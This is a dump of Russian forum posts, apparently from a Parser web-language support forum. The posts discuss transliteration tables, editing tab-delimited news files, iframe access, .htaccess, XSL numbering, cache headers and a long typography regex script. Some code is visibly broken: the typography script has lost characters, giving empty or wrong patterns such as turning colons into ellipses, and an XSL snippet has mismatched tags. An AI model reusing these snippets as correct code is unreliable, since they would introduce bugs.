"8401","есть у меня в документе iframe.\
если ему не задавать src, то получить его текст через iframename.document.body.innerText не проблема.\
а вот если ему обозначить src изначально, то потом обращение к innerText вызывает ошибку.\
подскажите как получить текст ифрэйма в случае если он заполнен по src ?"
"8402","«Оператор сохраняет строку», строка [b]не[/b] таблица.\
не сохранит.\
\
но это не главное: главное, что он не избавит от необходимости ^connect при повторном посещении, а важно постараться уменьшить нагрузку на sql-сервер.\
\
диагноз:\
[code]\
^cache[ключ](время]{\
    ^connect[…]{\
        код\
    }\
[/code]"
"8403","Почитал тут немного форум по 2му парсеру и вот родилась такая штука. \
Ошибки возможны т.к. только что написал (за 15-20 минут). Для этого вообщем-то и постю на любимый форум =)\
\
0. создаем вспомогательный файл (alpha.cfg) - у меня он находится в /cfg/alpha.cfg\
\
[code]\
а	б	в	г	д	е	ё	ж	з	и	й	к	л	м	н	о	п	р	с	т	у	ф	х	ц	ч	ш	щ	ъ	ы	ь	э	ю	я\
а	b	v	g	d	e	yo	zh	z	i	j	k	l	m	n	o	p	r	s	t	u	f	h	c	ch	sh	shch	'	y	'	e'	yu	ya\
[/code]\
\
1. У меня все работает как метод класса @SYS - поэтому для желающих \"квик теста\" лучше создать такой класс.\
2. создаем вспомогательный метод - @normalize[]\
\
[code]\
@normalize[what]\
$heh[^what.left(1)]\
$lower[^what.lower[]]\
$result[^heh.upper[]^lower.right(^eval(^what.length[]-1))]\
[/code]\
\
3. теперь самое интересное\
[code]\
@abracadabra[text]\
$alpha[^table::load[/cfg/alpha.cfg]]\
$text[^trim[$text]]\
$i(0)\
^while($i < ^text.length[]){\
$column[^text.mid($i;1)]\
\
^if(^column.match[[а-яА-Я]]){\
^if($column ne ^column.lower[]){\
$lower[^column.lower[]]\
$temp[$alpha.$lower]\
^sys:normalize[$temp]\
}{\
$alpha.$column\
}\
}{$column}\
\
^i.inc[]\
}\
[/code]"
"8404","Всем большое СПАСИБО.\
Разобрался."
"8405","Да, матчами это делать удобнее.\
А что, может быть напишем свой Типограф с \"открытым кодом\"? =)"
"8406","у меня есть некоторая пачка матчей, которая делает подобное, однако она не идет ни в какое сравнение с наработками Студии. Может лучше подождем пока код Типографа выложат? лет так пять шесть :)"
"8407","Ситуация такая: новости хранятся в 1-м файле в tab-delimited (id   head   text). Новости добавляются со страницы администрирования новостей с помощью формы. Вопрос: подскажите, как организовать редактирование или удаление уже введенной новости без копания руками в файле с новостями?"
"8408","\"Как было обещано 27 августа 2002 г., я завершил перевод одного из руководств по модулям Apache, а именно Apache 1.3 URL Rewriting Guide. Оригинал вы сами знаете где найти, а перевод находится по адресу: [url=\"http://www.egoroff.spb.ru/apache/misc/rewriteguide.html\"]http://www.egoroff.spb.ru/apache/misc/rewriteguide.html[/url]. Перевод однако, нуждается в некоторой редакторской правке.\"\
\
21.10.02\
[url=\"http://www.egoroff.spb.ru/\"]EGOROFF[/url]\
"
"8410","если встретите неудобоваримые/неправильные конструкции, посылайте мне мылом, - исправлю. Там рядом лежит xml файл с тем же названием(его структура осталась абсалютно такой же как и у оригинальной версии), его можно взять и положить вместо английского файла, идущего вместе с докой по 2-му Apache и соответственно у вас будет локальная копия этого руководства."
"8411","Как выдернуть нужную строчку с новостью в форму, внести изменение/удалить, сохранить результат?"
"8412","Есть в Парсере функция replace. И тогда ... \
\
[code]\
@rus_to_lat[str]\
  $result[^str.replace[$rtr]]\
  \
@lat_to_rus[str][temp]\
  $temp[^str.replace[$rtl_l]]\
  $result[^temp.replace[$rtl_s]]\
\
@auto[]\
  $rtl_s[^table::create[nameless]{а	а	\
b	б	\
v	в	\
g	г	\
d	д	\
e	е	\
z	з	\
i	и	\
j	й	\
k	к	\
l	л	\
m	м	\
n	н	\
o	о	\
p	п	\
r	р	\
s	с	\
t	т	\
u	у	\
f	ф	\
h	х	\
c	ц	\
y	ы\
А	А	\
B	Б	\
V	В	\
G	Г	\
D	Д	\
E	Е	\
Z	З	\
I	И	\
J	Й	\
K	К	\
L	Л	\
M	М	\
N	Н	\
O	О	\
P	П	\
R	Р	\
S	С	\
T	Т	\
U	У	\
F	Ф	\
H	Х	\
C	Ц	\
Y	Ы}]\
\
  $rtl_l[^table::create[nameless]{shch	щ	\
sh	ш	\
ch	ч	\
yu	ю	\
ya	я	\
yo	ё	\
zh	ж	\
SHCH	Щ	\
SH	Ш	\
CH	Ч	\
YU	Ю	\
YA	Я	\
YO	Ё	\
ZH	Ж}]\
  \
  $rtr[^table::create[nameless]{щ	shch	\
ш	sh\
ч	ch\
ю	yu	\
я	ya\
ё	yo	\
ж	zh	\
э	e'	\
а	а	\
б	b	\
в	v	\
г	g	\
д	d	\
е	e	\
з	z	\
и	i	\
й	j	\
к	k	\
л	l	\
м	m	\
н	n	\
о	o	\
п	p	\
р	r	\
с	s	\
т	t	\
у	u	\
ф	f	\
х	h	\
ц	c	\
ъ	'	\
ы	y	\
ь	'\
Щ	SHCH	\
Ш	SH\
Ч	CH\
Ю	YU	\
Я	YA\
Ё	YO	\
Ж	ZH	\
Э	E'	\
А	А	\
Б	B	\
В	V	\
Г	G	\
Д	D	\
Е	E	\
З	Z	\
И	I	\
Й	J	\
К	K	\
Л	L	\
М	M	\
Н	N	\
О	O	\
П	P	\
Р	R	\
С	S	\
Т	T	\
У	U	\
Ф	F	\
Х	H	\
Ц	C	\
Ъ	'	\
Ы	Y	\
Ь	'}]\
[/code]"
"8413","У меня в .htaccess:\
\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
И все работает"
"8416","[quote]Как выдернуть нужную строчку с новостью в форму, внести изменение/удалить, сохранить результат?[/quote]\
\
0. организовываем ссылку с id=нужным нам\
1. загружаем файл в таблицу\
2. локатим переданный id в таблице\
3. подставляем в форму значения из таблицы\
\
4. если форма отправлена - смотрим все ли ок\
5. если все ок, то сохраняем таблицу, предварительно удалив старую и вставив новые строки\
\
=)"
"8418","поправлюсь в вопросе.\
если через src=\"\" дать iframe-у файл, а потом запросить его код - то в случае с локальным файлом все пройдет нормально.\
если же ифрэйм заполнить внешним файлом, лежащем на другом сервере - в этом случае кодкаким-то образом становится read-only.\
вот это непонятно и очень хочется победить..."
"8419","...такая мысль меня посещала, но я хотел бы, чтобы на специальной странице показывались все новости, жму по нужной -> открывается окно с формой изменения новости -> изменяю и сохраняю.\
То есть, чтобы не надо было искать id нужной новости."
"8420","...такая мысль меня посещала, но я хотел бы, чтобы на специальной странице показывались все новости, жму по нужной -> открывается окно с формой изменения новости -> изменяю и сохраняю.\
То есть, чтобы не надо было искать id нужной новости."
"8421","Кто нибудь мне модет обьяснить где взять этот долбаный libmysqlclient.so, куда его воткнуть и что написать в auto.p? "
"8422","Ну и делай спецальную страницу, выводи на неё все заголовки своих новостей и делай их ссылками:\
<A href=\"edit.html?1\">Заголовок новости №1</A><br>\
<A href=\"edit.html?2\">Заголовок новости №2</A><br>\
....\
<A href=\"edit.html?100\">Заголовок новости №100</A><br>\
\
а файл edit.html будет у тебя выводить форму и подставлять в неё новость, номер которой ты передаёшь как параметр. Исправляешь нужные буквы (ошибки, опечатки и т.п.) и сохраняешь файл заново. Недостаток в том, что каждый раз надо перезаписывать весь файл целиком. Дописывать в конец файла гораздо проще, а когда пишешь в середину, то надо сначала сохранить ту часть таблицы, которая стоит до редактируемой записи, потом добавить то, что изменил, а затем дописать всё остальное. Всё в принцпе достаточно тривиально, но с БД все гораздо проще и надёжнее."
"8426","Я помню что-то такое уже обсуждалось, но найти заново пока не получается.\
\
Пожайлуста, помогите."
"8428","[code]\
<head>\
<meta http-equiv=\"Pragma\" content=\"no-cache\">\
</head>\
[/code]\
\
или\
\
[code]\
$response:pragma[no-cache]\
[/code]\
"
"8429","Ситуация такая. Я передаю в ф-ю поле формы, а из неё я это отсылаю на почту.\
\
[code]\
^my_send[$form:sometext]\
[/code]\
\
Там могут содержаться теги. Мне нужно, чтобы теги были в виде текста и форматирование не выполнялось. Где и что нужно написать?"
"8430","Нужен второй cfgшник и \"умный алгоритм\". Иначе и у тебя не получится без изменения своего алгоритма - как ты определишь \"e'\" - это буква \"э\" или 2 буквы \"e\" и \"ь\" ???\
\
Поэтому сначала нужно определиться с таблицами перекодировки - чтобы небыло совпадений и тогда вперед. Можно даже в 1 макрос объединить..."
"8434","Я начинающий программист, если так можно выразиться, так что, не судите строго!\
\
Постоянно встречаються высказывания о том, что требуется программы работающие как можно быстрее, но как можно оценить работоспособность собственной программы?"
"8436","Работоспособность parser'a в первую очередь зависит от тебя и от загруженности сервера, на котором все дело происходит и т.д."
"8437","Это само сабой. Но всё дело в том и заключается, что при выводе всё работает, а если это почтой отправляешь - нет. Я не могу понять в чём дело."
"8438","Как оценить скорость работы собственного скрипта?"
"8439","при отправке текста почтой никакое форматирование и не выполняется. в чём проблема?\
\
при отправке html если хотите разрешить отправку текста, необходимо сделать [code]^untaint[$text_with_trusted_html][/code]"
"8440",", но если в фрейм загружен твой документ, а не яндекс, то ты можешь попробовать передать в аттрибутах функции имя ифрейма (для обращения скрипта), типа:\
-main frame твой главный фрейм\
onClick=\"top.hiddenFrame.sexGerl(top.framename)\"\
\
-reload frame твой перезагружаемый фрейм\
<body id=reloadFrameBody ups=\"Britny!!!\">\
</body>\
\
-hidden Frame -- я бы это скрипт запихнул бы в 3-ий скрытый фрейм-- после перезагрузки страниц ненадо былобы подгружать снова скрипты-\
function sexGerl(frameName){\
 var docFrame = frameName.document;\
 alert(docFrame.getElementById('reloadFrameBody').ups.value);\
}\
-результат-\
должно быть окошко алерта с надписью \"Britny!!!\"\
\
p.s рекомендую теб отказаться от ifram'ов и перейти на фреймы.\
p.s2 может я в чем-то и не прав "
"8441","http://www.parser.ru/forum/?id=8249"
"8442","Бился я бился над Парсером на своей Альфе...\
Короче, под FreeBSD на Digital Alpha Workstation Парсер не собирается из исходников...\
Может кто поможет???"
"8443","если вы не можете править C++, не беритесь собирать на необычной платформе.\
\
"
"8444","и тебе надо будет шевелить мозгами. Дело в том, что парсер в сегодняшнем виде не переносится на платформы у которых размер указателя != размеру int. Так как в файлах pa_hash.h: In method `int Hash::get_int(const String &) const \
\
и pa_array.h: In method `int Array::get_int(int) const\
\
производится преобразование без проверки (reinterpret_cast) указателя к целому числу и размеры указателя и целого разные происходит fake. Вообще при использовании reinterpret_cast переносимость очень плохая и это можно считать недостатком парсера."
"8445","зато без шаблонов = куда меньше проблем\
с этим придумается, когда надо будет. ради одного человека я своё время тратить не могу"
"8446","Есть документ XML:\
[code]\
<item title=\"Библиотека WMLBrowser\">\
	<item title=\"Функция getVar\"/>\
	<item title=\"Функция setVar\"/>\
	<item title=\"Функция go\"/>\
</item>\
[/code]\
\
И XSL документ который преобразовывает предидущий документ:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:template match=\"item\">\
		<ul>\
			<li>\
				<a href=\"{[/code][color=\"red\"]функция которая возвращает порядковое число элемента[/color][code]}\"><xsl:value-of select=\"@title\"/></a>\
				<xsl:apply-templates select=\"item\"/>\
			</li>\
		</ul>\
	</xsl:template>\
</xsl:stylesheet>\
[/code]\
\
Выходящий документ должен быть таким:\
[code]\
<ul class=\"contents\">\
	<li>\
		<a href=\"0\">Библиотека WMLBrowser</a>\
		<ul>\
			<li>\
				<a href=\"1\">Функция getVar</a>\
			</li>\
		</ul>\
		<ul>\
			<li>\
				<a href=\"2\">Функция setVar</a>\
			</li>\
		</ul>\
		<ul>\
			<li>\
				<a href=\"3\">Функция go</a>\
			</li>\
		</ul>\
	</li>\
</ul>\
[/code]"
"8449","Хотел я Парсер использовать в своих проектах.\
Много раз спасибо людям сказал за то, что на халяву такую вещь дают.\
Я даже документацию всю напечатал и почти прочитал до середины.\
Ну думаю, теперь я созрел для Парсера...\
Что мне теперь, за PHP браться ???\
А столько рекламных красивых слов сказано про него было !!!\
Надо ведь предупреждать.\
У меня ж кроме кучи Alpha процессоров и нет ничего..."
"8450","<xsl:template match=\"item\">\
		<ul>\
			<li>\
				<a href=\"{\
position()\
}\"><xsl:value-of select=\"@title\"/></a>\
				<xsl:apply-templates select=\"item\"/>\
\
"
"8452","[code]\
<xsl:template match=\"/\"> \
     <ul>\
          <xsl:for-each select=\"item\"> \
           <li>                         \
                 <a><xsl:attribute name=\"href\"><xsl:number/></xsl:attribute></a>\
           <li>\
     </ul>\
          </xsl:for-each> \
     </TABLE> \
</xsl:template>\
[/code]"
"8453","На MacOSX тоже не собирается (правда, по другим причинам).\
Нас таких специальных, дай бог, десяток только и наберется.\
А это слишком мало для того, чтобы переделывать все.\
Даже крупные компании себе такого позволить могут не всегда, а уж один-одинешенек PAF - тем более..."
"8454","Привет, All.\
Необходимо подключить камеру на чипе OV511+ к Фрюхе. Воспользовался портом Vid. В помещении - всё ОК, при работе на улице происходит засветка (вместо изображения белый экран, а в Win98 всё ОК...) Задание ключа -b 0 (минимальная яркость) не помогает (по помещению яркость меняется нормально). \
Есть ли какойни-будь параметр, аналогичный Backligth (при работе в Win98)?\
Или как можно всё-таки заставить камеру работать на улице.\
Если заставить работать на улице камеру из под FreeBSD нельзя, PLS, тоже напишите!\
\
Pls, ответьте, очень нужно!\
\
С уважением, Денис.\
\
"
"8455","Я к сожалению не помню, кто его туда в свое время запостил [кажется Sanja], но надеюсь автор не сильно обидится:\
\
[code]\
\
^var[text;^form[text]]\
\
#Какой тип кавычек используется ка сайте?\
^var[laquo;&laquo^;]\
^var[raquo;&raquo^;]\
#\
# Можно указать и другие открывающие и закрывающие кавычки.\
# Любители почитать стандарт HTML 4.01 (вот идеалисты!)\
# могут даже сделать так:\
#\
# ^var[laquo;<q>]\
# ^var[raquo;</q>]\
#\
\
\
###########################################\
\
^var[text;^match[the ;g;the&nbsp^;;^var[text]]]\
^var[text;^match[The ;g;The&nbsp^;;^var[text]]]\
\
# люди! Любите букву Ё - как много в этом звуке для\
# сердца русского слилось, как много в нём отозвалось\
# и т.д. и т.п., ну, в общем, вы понимаете...\
\
^var[text;^match[еще;g;ещё;^var[text]]]\
^var[text;^match[ ее ;g; её ;^var[text]]]\
^var[text;^match[серьезн;g;серьёзн;^var[text]]]\
\
###########################################\
\
# надеюсь, вы смотрите это в кодировке win1251?\
\
#Специальные символы...\
#Троеточие...\
^var[text;^match[\\.\\.\\.;g;&#133^;;^var[text]]]\
^var[text;^match[\\. \\. \\.;g;&#133^;;^var[text]]]\
^var[text;^match[:;g;&#133^;;^var[text]]]\
#Художественые кавычки\
^var[text;^match[<;g; <<;^var[text]]]\
^var[text;^match[>;g;>> ;^var[text]]]\
^var[text;^match[\";g; <<;^var[text]]]\
^var[text;^match[\";g; <<;^var[text]]]\
^var[text;^match[\";g; <<;^var[text]]]\
^var[text;^match[\";g;>> ;^var[text]]]\
#Шарик\
^var[text;^match[;g;&#149^;;^var[text]]]\
#Знак номера\
^var[text;^match[№;g;&#8470^;;^var[text]]]\
#Знак \"плюс-минус\"\
^var[text;^match[+;g;&#177^;;^var[text]]]\
#Знак амперсанда\
^var[text;^match[&;g;&amp^;;^var[text]]]\
#Копирайт\
^var[text;^match[c;g;&#169^;;^var[text]]]\
#Зарег. торг. знак\
^var[text;^match[R;g;&#174^;;^var[text]]]\
#Градус\
^var[text;^match[°;g;&#176^;;^var[text]]]\
#Параграф\
^var[^match[;ig;&#167^;;^var[text]]]\
#Дефис в середине, начале и конце строки\
#Предварительно исправляем дефисы, накопированнные из ворда..\
^var[text;^match[-;ig;-;^var[text]]]\
^var[text;^match[-;ig;-;^var[text]]]\
\
#Мы могли много где наставить два пробела вместо одного,\
#поэтому исправляемся, заодно убираем пробелы из концов строк...\
^var[text;^match[ \\s;ig; ;^var[text]]]\
^var[text;^match[ $$;ig;;^var[text]]]\
^var[text;^match[ \\s;ig; ;^var[text]]]\
^var[text;^match[ $$;ig;;^var[text]]]\
^var[text;^match[ \\s;ig; ;^var[text]]]\
^var[text;^match[ $$;ig;;^var[text]]]\
^var[text;^match[ \\s;ig; ;^var[text]]]\
^var[text;^match[ $$;ig;;^var[text]]]\
^var[text;^match[ \\s;ig; ;^var[text]]]\
^var[text;^match[ $$;ig;;^var[text]]]\
\
^var[text;^match[ %;g;%;^var[text]]]\
^var[text;^match[ ,;g;,;^var[text]]]\
^var[text;^match[ \\.;g;.;^var[text]]]\
^var[text;^match[ \\?;g;?;^var[text]]]\
^var[text;^match[ !;g;!;^var[text]]]\
^var[text;^match[\\( ;g;(;^var[text]]]\
^var[text;^match[ \\);g;);^var[text]]]\
\
#Теперь, когда все художества удалены..\
\
# Не дадим в обиду емейл и, прошу прощения, ебизнес..\
\
^var[text;^match[ e-([А-Яа-я]{1,18});ig; <nobr>e-^item[\\1]</nobr>&#32^;;^var[text]]]\
^var[text;^match[ e-([A-Za-z]{1,18});ig; <nobr>e-^item[\\1]</nobr>&#32^;;^var[text]]]\
\
^var[text;^match[\\s-\\s;ig;&nbsp^;&#151^; ;^var[text]]]\
^var[text;^match[^^-\\s;nig;&#151^;&nbsp^;;^var[text]]]\
^var[text;^match[\\s-$$;ig;&nbsp^;&#151^;;^var[text]]]\
^var[text;^match[^^&nbsp^;;nig;;^var[text]]]\
^var[text;^match[^^&nbsp^;;nig;;^var[text]]]\
^var[text;^match[^^&nbsp^;;nig;;^var[text]]]\
^var[text;^match[^^&nbsp^;;nig;;^var[text]]]\
#Убираем табуляторы, всё равно их браузер как пробелы показывает...\
^var[text;^match[\\t;ig; ;^var[text]]]\
#Мы могли много где наставить два пробела вместо одного,\
#поэтому исправляемся, заодно убираем пробелы из концов строк...\
^var[text;^match[ \\s;ig; ;^var[text]]]\
^var[text;^match[ $$;ig;;^var[text]]]\
\
###########################################\
\
^var[text;^match[ ([0-9]{1,3}), ([0-9]{1,3}) ;ig; ^item[\\1],^item[\\2]&nbsp^;;^var[text]]]\
^var[text;^match[ ([0-9]{1,3})\\. ([0-9]{1,3}) ;ig; ^item[\\1],^item[\\2]&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([0-9]{1,3}), ([0-9]{1,3})%;ig; ^item[\\1],^item[\\2]%;^var[text]]]\
^var[text;^match[ ([0-9]{1,3})\\. ([0-9]{1,3})%;ig; ^item[\\1],^item[\\2]%;^var[text]]]\
\
^var[text;^match[ ([0-9]{1,5}) г\\. ;ig; ^item[\\1]&nbsp^;г.&nbsp^;;^var[text]]]\
^var[text;^match[ ([0-9]{1,5}) г\\., ;ig; ^item[\\1]&nbsp^;г.,&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([0-9]{1,25})% ;ig; ^item[\\1]%&nbsp^;;^var[text]]]\
^var[text;^match[ ([0-9]{1,25})%\\. ;ig;&nbsp^;^item[\\1]%. ;^var[text]]]\
^var[text;^match[ ([0-9]{1,25})%, ;ig; ^item[\\1]%,&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([0-9]{1,4}) ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
^var[text;^match[ ([0-9]{1,2})\\. ;ig; ^item[\\1].&nbsp^;;^var[text]]]\
^var[text;^match[ ([0-9]{1,2}), ;ig; ^item[\\1],&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([А-Яа-я]{1,2}) ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
^var[text;^match[ ([A-Za-z]{1,2}) ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2}), ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})\\. ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})? ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})! ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})\" ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})\"\\. ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})\", ;ig; ^item[\\1]&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1]&nbsp^;^item[\\2]&nbsp^;;^var[text]]]\
^var[text;^match[ ([A-Za-z]{1,2})&nbsp^;([A-Za-z]{1,2}) ;ig; ^item[\\1]&nbsp^;^item[\\2]&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1]&nbsp^;^item[\\2]&nbsp^;^item[\\3]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1]&nbsp^;^item[\\2]&nbsp^;^item[\\3]&nbsp^;^item[\\4]&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([А-Яа-я]{1,2}),&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1],&nbsp^;^item[\\2]&nbsp^;;^var[text]]]\
^var[text;^match[ ([A-Za-z]{1,2}),&nbsp^;([A-Za-z]{1,2}) ;ig; ^item[\\1],&nbsp^;^item[\\2]&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([А-Яа-я]{1,2}),&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1],&nbsp^;^item[\\2]&nbsp^;^item[\\3]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2}),&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1],&nbsp^;^item[\\2]&nbsp^;^item[\\3]&nbsp^;^item[\\4]&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([А-Яа-я]{1,2})\\.&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1]\\.&nbsp^;^item[\\2]&nbsp^;;^var[text]]]\
^var[text;^match[ ([A-Za-z]{1,2})\\.&nbsp^;([A-Za-z]{1,2}) ;ig; ^item[\\1]\\.&nbsp^;^item[\\2]&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([А-Яа-я]{1,2})\\.&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1]\\.&nbsp^;^item[\\2]&nbsp^;^item[\\3]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})\\.&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1]\\.&nbsp^;^item[\\2]&nbsp^;^item[\\3]&nbsp^;^item[\\4]&nbsp^;;^var[text]]]\
\
^var[text;^match[ ([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}), ;ig; ^item[\\1]&nbsp^;^item[\\2],&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}),&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1]&nbsp^;^item[\\2],&nbsp^;^item[\\3]&nbsp^;;^var[text]]]\
^var[text;^match[ ([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}),&nbsp^;([А-Яа-я]{1,2})&nbsp^;([А-Яа-я]{1,2}) ;ig; ^item[\\1]&nbsp^;^item[\\2],&nbsp^;^item[\\3]&nbsp^;^item[\\4]&nbsp^;;^var[text]]]\
\
###########################################\
\
# преобразуем спецсимволы старого имприматура в кавычки..\
\
^var[text;^match[>>;g;^var[raquo];^var[text]]]\
^var[text;^match[<<;g;^var[laquo];^var[text]]]\
\
# остальные кавычки..\
\
^var[text;^match[\" ;ig;^var[raquo] ;^var[text]]]\
^var[text;^match[ \";ig; ^var[laquo];^var[text]]]\
\
^var[text;^match[\"&nbsp^;;ig;^var[raquo]&nbsp^;;^var[text]]]\
^var[text;^match[&nbsp^;\";ig;&nbsp^;^var[laquo];^var[text]]]\
\
^var[text;^match[ ,;ig;,;^var[text]]]\
^var[text;^match[ \\.;ig;.;^var[text]]]\
\
^var[text;^match[,\";ig;^var[raquo],;^var[text]]]\
^var[text;^match[\",;ig;^var[raquo],;^var[text]]]\
^var[text;^match[\"^;;ig;^var[raquo]^;;^var[text]]]\
^var[text;^match[\":;ig;^var[raquo]:;^var[text]]]\
^var[text;^match[\"\\?;ig;^var[raquo]?;^var[text]]]\
^var[text;^match[\"\\!;ig;^var[raquo]!;^var[text]]]\
^var[text;^match[\\.\";ig;^var[raquo].;^var[text]]]\
^var[text;^match[\"\\.;ig;^var[raquo].;^var[text]]]\
^var[text;^match[\"\\);ig;^var[raquo]);^var[text]]]\
^var[text;^match[\\(\";ig;(^var[laquo];^var[text]]]\
^var[text;^match[\"&#133^;;ig;^var[raquo]&#133^;;^var[text]]]\
^var[text;^match[\"&amp^;#133^;;ig;^var[raquo]&amp^;#133^;;^var[text]]]\
\
\
###########################################\
\
^var[text;^unescape_br[^var[text]]]\
^var[text;^match[\\n;g; ;^var[text]]]\
^var[text;^match[p> ;g;p>;^var[text]]]\
^var[text;^match[ <p;g;<p;^var[text]]]\
^var[text;^match[p> ;g;p>;^var[text]]]\
^var[text;^match[ <p;g;<p;^var[text]]]\
^var[text;^match[p> ;g;p>;^var[text]]]\
^var[text;^match[ <p;g;<p;^var[text]]]\
\
# у меня стиль параграфа - <p class=first>some text</p>\
# если у вас по-другому, переделайте.\
\
^var[text;^match[<p>;g;</p><p class=first>;^var[text]]]\
\
^var[text;^match[br> ;g;br>;^var[text]]]\
^var[text;^match[ <br;g;<br;^var[text]]]\
^var[text;^match[br> ;g;br>;^var[text]]]\
^var[text;^match[ <br;g;<br;^var[text]]]\
^var[text;^match[br> ;g;br>;^var[text]]]\
^var[text;^match[ <br;g;<br;^var[text]]]\
^var[text;^match[br> ;g;br>;^var[text]]]\
^var[text;^match[ <br;g;<br;^var[text]]]\
\
^var[text;^match[table></p>;g;table>;^var[text]]]\
^var[text;^match[table><br>;g;table>;^var[text]]]\
^var[text;^match[<p class=first><table;g;<table;^var[text]]]\
^var[text;^match[<br><table;g;<table;^var[text]]]\
\
^var[text;^match[ class=first>\";ig; class=first>^var[laquo];^var[text]]]\
^var[text;^match[\"</p>;ig;^var[raquo]</p>;^var[text]]]\
\
^var[text;^match[br>\";ig;br>^var[laquo];^var[text]]]\
^var[text;^match[\"<br>;ig;^var[raquo]<br>;^var[text]]]\
\
#############################\
\
#интернет пишется с маленькой буквы,\
#как завещал нам великий Лебедев...\
\
^var[text;^match[Интерн;g;интерн;^var[text]]]\
^var[text;^match[^^интерн;g;Интерн;^var[text]]]\
^var[text;^match[br&gt^;интерн;g;br&gt^;Интерн;^var[text]]]\
\
#разве что в начале предложения..\
\
^var[text;^match[\\. интерн;g;. Интерн;^var[text]]]\
^var[text;^match[\\? интерн;g;? Интерн;^var[text]]]\
^var[text;^match[\\! интерн;g;! Интерн;^var[text]]]\
\
###########################################\
\
# не отрываем от цифры килограммы и доллары..\
\
^var[text;^match[ млн;g;&nbsp^;млн;^var[text]]]\
^var[text;^match[ тыс;g;&nbsp^;тыс;^var[text]]]\
^var[text;^match[ млрд;g;&nbsp^;млрд;^var[text]]]\
^var[text;^match[ шт;g;&nbsp^;шт;^var[text]]]\
^var[text;^match[ кг;g;&nbsp^;кг;^var[text]]]\
^var[text;^match[ долл;g;&nbsp^;долл;^var[text]]]\
\
###########################################\
\
# а это мы делаем, чтобы отформатированный текст\
# выводился на экран браузера, и не приходилось бы\
# лезть в сырец страницы.\
\
^var[text;^match[&;g;&amp^;;^var[text]]]\
^var[text;^match[&amp^;amp^;;g;&amp^;;^var[text]]]\
^var[text;^match[<;g;&lt^;;^var[text]]]\
^var[text;^match[>;g;&gt^;;^var[text]]]\
^var[text;^match[\";g;&quot^;;^var[text]]]\
#^var[text;^match[;g;;^var[text]]]\
#^var[text;^match[;g;;^var[text]]]\
\
###########################################\
\
\
[/code]"
"8458","При желании можно обойти эту проблему - на то нам и даны руки (голова не нужна - все (Парсер) уже придумали =))\
Просто на этом форуме ничего \"красивого\" за последнее время не проскакивало... А так хочется..."
"8459","Большое спасибо! :)\
\
А я ее пытался как ${form:id.x}"
"8460","Ну вот так всегда... :(\
\
А зачем это надо? Какие программы совместимы?\
Где вообще можно почитать по-русски?"
"8463","драйвер обновлён, уменьшена [b]фрагментированность[/b] памяти, возможно, это поможет.\
\
дайте знать в любом случае?"
"8464","Спасибо, драйвер я обновил, посмотрим, что получится."
"8465","Здравствуйте. Помогите пожалста. \
Сижу в кафе, где нет ФАР (!), а нужен файл .htaccess В мастдай файлы без имени не создаются, в общем бред. Скиньте пожалуйста кно нибудь на мыло пустой .htaccess \
\
Спасибо пребольшое. "
"8467","Спасибо УВ Sumo, а можно еще раз и зазипуйте его пожалуйста чё то майл.ру глючит... "
"8469","неполный писец ;)\
полный писец будет таким:\
[code]\
$response:Expires[\"Expires: Mon, 26 Jul 1997 05:00:00 GMT]\
$response:Cache-Control[no-cache, must-revalidate]\
$response:Pragma[no-cache]\
[/code]\
еще надо добавить Last-Modified ;)\
но я поленился, на php всё это было у меня так:\
Header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");\
Header(\"Last-Modified: \".gmdate(\"D, d M Y H:i:s\").\"GMT\");\
